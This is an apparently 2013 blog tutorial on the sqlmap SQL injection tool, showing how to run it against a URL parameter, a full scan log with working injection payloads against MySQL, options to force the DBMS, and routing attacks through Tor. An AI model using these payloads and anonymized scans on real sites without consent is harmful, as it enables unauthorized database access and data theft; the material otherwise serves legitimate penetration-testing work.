Quick sqlmap How-To

By | 2013/12/08

sqlmap is an open source SQL injection tool. It has a ton of features that can get pretty complicated but I’ll show you how to get started!

Get sqlmap

First, grab sqlmap either from your Linux distro repository, or via github:

git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev

Run sqlmap -u targeturl

In the most simplistic terms, you can just give sqlmap a url that contains a parameter via tack u:

$ ./sqlmap.py -u http://example.com/categories.php?cat=1

Here is an example output by just giving sqlmap a url and no other options:

$ ./sqlmap.py -u http://example.com/categories.php?cat=1

    sqlmap/1.0-dev-59d667d - automatic SQL injection and database takeover tool

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 13:41:16

[13:41:16] [INFO] testing connection to the target URL
[13:41:16] [INFO] testing if the target URL is stable. This can take a couple of seconds
[13:41:17] [INFO] target URL is stable
[13:41:17] [INFO] testing if GET parameter 'cat' is dynamic
[13:41:18] [INFO] confirming that GET parameter 'cat' is dynamic
[13:41:18] [INFO] GET parameter 'cat' is dynamic
[13:41:18] [INFO] heuristic (basic) test shows that GET parameter 'cat' might be injectable (possible DBMS: 'MySQL')
[13:41:18] [INFO] testing for SQL injection on GET parameter 'cat'
heuristic (parsing) test showed that the back-end DBMS could be 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] y
do you want to include all tests for 'MySQL' extending provided level (1) and risk (1)? [Y/n] y
[13:41:27] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[13:41:27] [WARNING] reflective value(s) found and filtering out
[13:41:28] [INFO] GET parameter 'cat' is 'AND boolean-based blind - WHERE or HAVING clause' injectable 
[13:41:28] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[13:41:29] [INFO] GET parameter 'cat' is 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause' injectable 
[13:41:29] [INFO] testing 'MySQL inline queries'
[13:41:29] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[13:41:29] [WARNING] time-based comparison needs larger statistical model. Making a few dummy requests, please wait..
[13:41:30] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'
[13:41:30] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[13:42:31] [INFO] GET parameter 'cat' is 'MySQL > 5.0.11 AND time-based blind' injectable 
[13:42:31] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[13:42:31] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[13:42:31] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[13:42:33] [INFO] target URL appears to have 11 columns in query
[13:42:34] [INFO] GET parameter 'cat' is 'MySQL UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'cat' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection points with a total of 29 HTTP(s) requests:
Place: GET
Parameter: cat
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: cat=1 AND 5290=5290

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: cat=1 AND (SELECT 9804 FROM(SELECT COUNT(*),CONCAT(0x71656d6b71,(SELECT (CASE WHEN (9804=9804) THEN 1 ELSE 0 END)),0x717a767771,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)

    Type: UNION query
    Title: MySQL UNION query (NULL) - 11 columns
    Payload: cat=1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x71656d6b71,0x716c4a755870414c6652,0x717a767771),NULL,NULL,NULL,NULL#

    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: cat=1 AND SLEEP(5)
[13:42:39] [INFO] the back-end DBMS is MySQL
web application technology: Nginx, PHP 5.3.10
back-end DBMS: MySQL 5.0
[13:42:39] [INFO] fetched data logged to text files under '/home/stmiller/Downloads/sqlmap-dev/output/testphp.vulnweb.com'

[*] shutting down at 13:42:39


Database detection

sqlmap will try to detemine the database type of the target. If it is unable to (or if you know the target database) use options to specify the DMBS:

--dbms=DBMS         Force back-end DBMS to this value

Use with tor!

sqlmap is also tor compatible- in that you can have sqlmap work with an existing tor connection.

The options to use are:

    --tor               Use Tor anonymity network
    --tor-port=TORPORT  Set Tor proxy port other than default
    --tor-type=TORTYPE  Set Tor proxy type (HTTP (default), SOCKS4 or SOCKS5)
    --check-tor         Check to see if Tor is used properly

GUI for sqlmap

There is a GUI available that someone has written for sqlmap. If a GUI is desireable, you may want to check out this post for more info:


Rock on,